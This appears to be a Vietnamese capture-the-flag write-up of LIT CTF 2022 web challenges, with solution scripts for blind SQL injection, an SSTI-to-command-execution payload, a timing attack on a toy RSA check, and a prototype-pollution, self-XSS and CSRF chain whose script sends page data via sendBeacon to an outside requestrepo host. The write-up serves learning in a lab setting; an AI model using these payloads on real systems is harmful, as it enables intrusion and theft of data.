---
title: LIT CTF 2022 WRITEUP WEB CHALLENGES
description: short wu + writeup cho một vài bài trong giải này
tags: ctf
---
# Personal Website
Bài này flag được chia thành 3 phần và được dấu ở trong trang web. Ctrl + U ta tìm được phần thứ nhất:

Ở file `style.css`, là phần thứ 2

Phần cuối cùng nằm ở `javascript.js`

---
# Kevin's Cookies

Dùng extension cookie editor để xem giá trị cookie của trang web mình thấy có một giá trị là `likeCookie=false`

Sau khi set lại nó thành true thì có vẻ việc tiếp theo ta phải làm là brute giá trị cookie này từ 1 đến 20

Cuối cùng ở `likeCookie=17` ta tìm được flag

---
# Guess The Pokemon

Bài này thì author có để source, sau khi tải về thì vuln ở đoạn code sau

=> sqli
Submit name `1 or 1=1`, ta được flag

---
# Among Us

Bài này hơi guessy một tí, để dễ thì ta có thể dùng burp sau khi truy cập vào link challange và chuyển sang tab HTTP history của burp

Ấn vào xem request này, ta được flag nằm ở header của response

---
# EYANGCH Fan Art Maker & EYANGCH Fan Art Maker 2.0
Có một ô để ta submit code

Ấn submit thì ta thấy có một image chứa flag nhưng đã bị che đi

Cả hai bài này mình đều giải theo hướng unintended, submit `<component name="EYANGOTZ"> </component>` để ghi đè các thành phần của nó và kết quả là

---
# Amy The Hedgehog

Nhập `a`, ấn `guess` hiển thị ra

Nhập `a' or 1=1-- -`

=> blind sqli
Dựa vào mô tả của đề ta biết đc db là sqlite3, script exploit:
```python
import requests
url = 'http://litctf.live:31770/'
flag = ""
for i in range(1, 40):
for c in range(32, 128):
payload = "' or (select substr(name,{},1) from names) = char({})) --".format(i, c)
req = requests.post(url, data={ 'name': payload })
if "You got it" in req.text:
flag = flag + chr(c)
print(flag)
break
print(flag)
```
---
# Flushed Emoji

Click vào `Flushed Emoji`, hiển thị ra thêm một cửa sổ mới yêu cầu nhập username, password 😨

Mình nhập đại `bla:bla` và thu được

Vì bài này có cho source nên đi vào phân tích thôi, sau khi tải về thì ta thấy sẽ có 2 folder chính: `data-server` là một database server dùng để truy xuất giữ liệu, `main-server` là web server tương tác với ta. `data-server` nằm ở interal network nên chỉ có thể tương tác với nó thông qua `main-server`.

Nhảy vào xem source file `main-server/main.py`, vuln rất dễ thấy: ssti ở password

Tới đây có một việc cần lưu ý nữa đó là sẽ có một POST request gửi từ `main-server` đến `data-server` với `username` và `password` (sau khi đã filter chỉ gồm chữ cái) để truy xuất dữ liệu.
Đọc source của file `data-server/main.py`

Nếu câu truy vấn có trả về kết quả thì return `True` ngược lại return `False` => sqli blind
Vậy suy ra bài này sẽ có 2 vuln đó là ssti + sqli, mình đã đề cập trước đó chỉ có `main-server` mới giao tiếp được với `data-server` nên ý tưởng là ssti để RCE và thực hiện sqli.
Vì không thể xài `.` trong payload ssti
```python
if('.' in password):
return render_template_string("lmao no way you have . in your password LOL")
```
nên ta dùng cách khác

cat main.py để lấy địa chỉ IP của `data-server`

Sau khi có IP rồi thì ta bắt đầu khai thác sqli, mình tốn kha khá thời gian để nhận ra `main-server` này không có curl command 😗 vì vậy sẽ chuyển qua khai thác với requests trong python
Và để tránh bị filter đi `.` thì mình sẽ encode payload rồi pipe output vào python, payload tổng quát sẽ như sau: `echo <base64 encoded payload> | base -d | python3`
script:
```python
flag = ""
l = 1
while not flag.endswith('}'):
for i in range(32, 128):
payload = "import requests;r = requests.post('http://172.24.0.8:8080/runquery',json={'username':'flag\\' and substr(password,INDEX,1)=char(CHAR)--','password':'1'});print(r.text)".replace("INDEX", str(l)).replace("CHAR", str(i))
#print(payload)
final_payload = b64encode(payload.encode()).decode()
password = '{{lipsum["__globals__"]["os"]["popen"]("echo BASE64 | base64 -d | python3")["read"]()}}'.replace("BASE64", final_payload)
r = requests.post(url, data={'username':'a', 'password': password})
if "True" in r.text:
flag += chr(i)
print(flag)
break
l+=1
# LITCTF{flush3d_3m0ji_o.0}
```
---
# Secure Website
Truy cập vào trang hiển thị ra là một ô để ta nhập password

Nhập đại gì đó và ấn `Log in` bị dẫn đến trang youtube của rick roll 😂, kiểm tra ở tab HTTP History thì có một request được gửi tới server

Ấn viewsource trang, thấy có một đoạn JS thực hiện mã hóa RSA đối với password ta nhập vào

Người ta còn để sẵn cả các tham số của nó luôn cơ 🤣
Trên server sau khi nhận được request tới sẽ thực hiện kiểm tra

Hàm mà ta cần chú ý là `checkPassword()` được khai báo trong `passwordChecker.js`
```javascript=
// I think this is how you're supposed to implement RSA?
// IDK this is a web challenge not a crypto challenge :clown:
// I just picked 2 random prime numbers as the tutorial said
// (Or is it 0_0)
var p = 3217;
var q = 6451;
var e = 17;
// Hmmm, RSA calculator says to set these values
var N = p * q;
var phi = (p - 1) * (q - 1);
var d = 4880753;
function decryptRSA(num) {
return modPow(num, d, N);
}
function checkPassword(password, pass) {
var arr = pass.split(",");
console.log(arr);
for (var i = 0; i < arr.length; ++i) {
arr[i] = parseInt(arr[i]);
}
if (arr.length != password.length) return false;
for (var i = 0; i < arr.length; ++i) {
var currentChar = password.charCodeAt(i);
var currentInput = decryptRSA(arr[i]);
if (currentChar != currentInput) return false;
}
return true;
}
function modPow(base, exp, mod) {
var result = 1;
for (var i = 0; i < exp; ++i) {
result = (result * base) % mod;
}
return result;
}
module.exports = { checkPassword }
```
Idea khai thác bài này là từ một teamate của mình `AP#4666` dựa trên timing attack, tại sao lại là timing attack ?
Để ý ở đoạn code dòng 25, nếu length password ta gửi lên đúng với length password trên server thì mới bắt đầu decrypt. Hàm decrypt là hàm mũ, vậy nếu ta send một chuỗi số cực lớn thì một khi điều kiện if ở dòng 25 thỏa sẽ bắt đầu decrypt và time response trả về sẽ lớn.

=> Length password sẽ là 6
Tiếp theo cũng áp dụng cách tương tự để brute các kí tự còn lại, ta sẽ gửi lên server `<encryt(bruting char)>, big_num, big_num, big_num, big_num, big_num`. Một điều cần lưu ý thêm đó là time delay ở các kí tự sau sẽ tăng dần điều này là hiển nhiên vì chuỗi ta đang brute chứa 6 kí tự


vì vậy cần chọn thời gian cho thích hợp để brute
Sau khi có được 5 kí tự đầu thì ta sẽ brute kí tự cuối cùng
```python
import requests
import time
import string
def encrypt(input):
p = 3217
q = 6451
e = 17
N = p * q
phi = (p - 1) * (q - 1)
d = 4880753
res = 1
for i in range(e):
res = (res * input) % N
return res
length = 6
first_5_char_real_pass = "CxIj6"
dic = [big_num] * length
for _ in range(5):
dic[_] = encrypt(ord(first_5_char_real_pass[_]))
for c in string.ascii_letters + string.digits:
dic[5] = encrypt(ord(c))
password = ','.join([str(x) for x in dic])
r = requests.get(URL + "/verify?password=" + password)
# print(URL + "/verify?password=" + password)
if "LITCTF" in r.text:
print("[-] password: " + first_5_char_real_pass + c)
print(r.text)
break
'''
Kết quả:
password: CxIj6p
-> Flag: LITCTF{uwu_st3ph4ni3_i5_s0_0rz_0rz_0TZ}
'''
```
---
# Imgurbage
Bài này thì mình chỉ đi gần được một nửa thôi để solve thôi, sau khi giải end mình mới đi hỏi author solution và quyết định viết sẽ viết writeup cho nó.
Access vào link challenge, hiển thị ra một trang login:

Ở `/register` ta có thể đăng kí account với `username`, `nickname`, `decade`, `password`:

Sau khi tạo account và login vào thì thấy được thêm 3 chức năng mới:

- Tạo mới image: bao gồm `url` và `description` của image
- Add Friend: dùng để add friend với con bot
- View Friend: view image của friend
Source code thì đã có sẵn nên các bạn có thể tự đọc, mình sẽ đi thẳng vào những điểm quan trọng để giải bài này, đầu tiên là ở `/register`:

có một đoạn check `md5(nickname)` phải khác một giá trị hash cho trước, và dòng `message` cũng đã khiến mình để ý tới nó.
Vì là md5 nên thử lên mạng tìm tool decrypt và kết quả:

🤔 prototype pollution (PP) à ? Tiếp theo mình để ý ở đoạn code trong file `user.js`:
```js
addFriend(friend) {
if(friend instanceof User && md5(friend.nickname) != "1f4e0a21bb6eef87c17ca2abdfc28369") {
for(let img in friend.images[friend.nickname]) {
if(!(friend.nickname.trim() in this.images)) this.images[friend.nickname.trim()] = {};
// console.log(this.images[friend.nickname.trim()]["test"] = 123);
console.log(this.images)
this.images[friend.nickname.trim()][img] = friend.images[friend.nickname][img];
}
}
}
```
`friend.nickname.trim()` thực hiện việc remove đi các kí tự space ở đầu và cuối chuỗi, 🧐 tới đây mình nảy ra idea là sẽ dùng ` __proto__` để bypass đoạn check md5 ở trên nhưng vẫn có thể khai thác PP.
Tiếp đó muốn sử dụng PP thì ta sẽ cần tìm một biến đặc biệt để pollute , để ý từ file `addFriend.js` bot sẽ truy cập tới `/register` đăng kí một random account, sau đó là `/new` để tạo một image với description là flag rồi cuối cùng mới access tới `/combine` để view image của account truyền vào thông qua GET param => Điểm cuối của bot là `/combine` và sẽ được render từ `combine.ejs` nên mình nhảy vào đọc file này. Chú ý tới những chỗ sau:


Sau khi thực hiện `user.addFriend(friendUser)` thì bắt đầu gán `decade = window.decade ?? user.decade`, và ở bên dưới là `innerHTML+=decade` từ đó có thể suy ra nếu ta control được biến `decade` thì có thể khai thác XSS.
Đoạn code trong file `user.js` mình đã trích ở trên có một chỗ cần quan tâm đó là `this.images[friend.nickname.trim()][img]` cái `img` trong này trace ngược lại đó chính là 6 kí tự đầu md5 hash của cái `url`:

Tới đây thì mọi thứ có vẻ hợp lí, vì chuỗi `decade` bao gồm các kí tự đều nằm trong hệ hex và cũng vừa đủ 6 kí tự, viết script để brute và tìm thôi:
```python
import string
import random
from hashlib import md5
while True:
ran = ''.join(random.choices(string.ascii_uppercase + string.digits + string.ascii_lowercase, k = 15))
output = md5(ran.encode()).hexdigest()[0:6]
if output == "decade":
print(f"FOUND: " + str(ran))
break
else:
print(output, end = "\r")
#
```
Kết quả: `f0pu0bEicPFBhOE`
Làm tới đây thì mình lại đâm đầu đi bypass cái CSP, search mạng đủ kiểu để steal nonce blabla ... 😩 và thế là chả giải ra.
Sau khi end giải và đi hỏi solution thì mình biết được cần phải áp dụng self XSS ở phần `/register`, thử tạo một account với username là `<script>alert(1)</script>` và sau đó cố tình tạo lại account khác với cùng username này:

-> self XSS
Kịch bản khai thác sẽ như sau
1. Đăng kí một account với username là payload XSS để steal description của bot, nickname là ` __proto__`
2. Login với account vừa tạo sau đó tạo mới một image với `url=f0pu0bEicPFBhOE` và `description=<iframe src="http://fiph4zll.requestrepo.com"></iframe>`
3. Ở `http://fiph4zll.requestrepo.com` cấu hình cho response trả về một form CSRF thực hiện việc re-register cái account vừa tạo ở `1.`
```htmlembedded
<body>
<form action="http://localhost:8080/register" method="POST">
<input type="text" name="username" placeholder="username" id="payload">
<br><br>
<input type="text" name="nickname" placeholder="nickname" value="bla">
<br><br>
<input type="text" name="decade" placeholder="decade" value="bla">
<br><br>
<input type="password" name="password" placeholder="password" value="bla">
<br><br>
<input type="submit" value="Submit">
</form>
<script>
value = "\x3Cscript>var x = new XMLHttpRequest;x.open('GET','/view'); x.onload = function (){navigator.sendBeacon('http://fiph4zll.requestrepo.com', this.responseText)};x.send();\x3C/script>";
document.getElementById("payload").setAttribute('value', value);
document.forms[0].submit();
</script>
</body>
```
-> Trigger self XSS trong iframe và thành công steal được description chứa flag
Sau đây là hiện thực các bước:
- register account với username là payload xss

- tạo mới một image:

- add friend với admin:

- chờ vài giây có một POST request gửi tới:

- decode và lấy được flag:

###### tags: ctf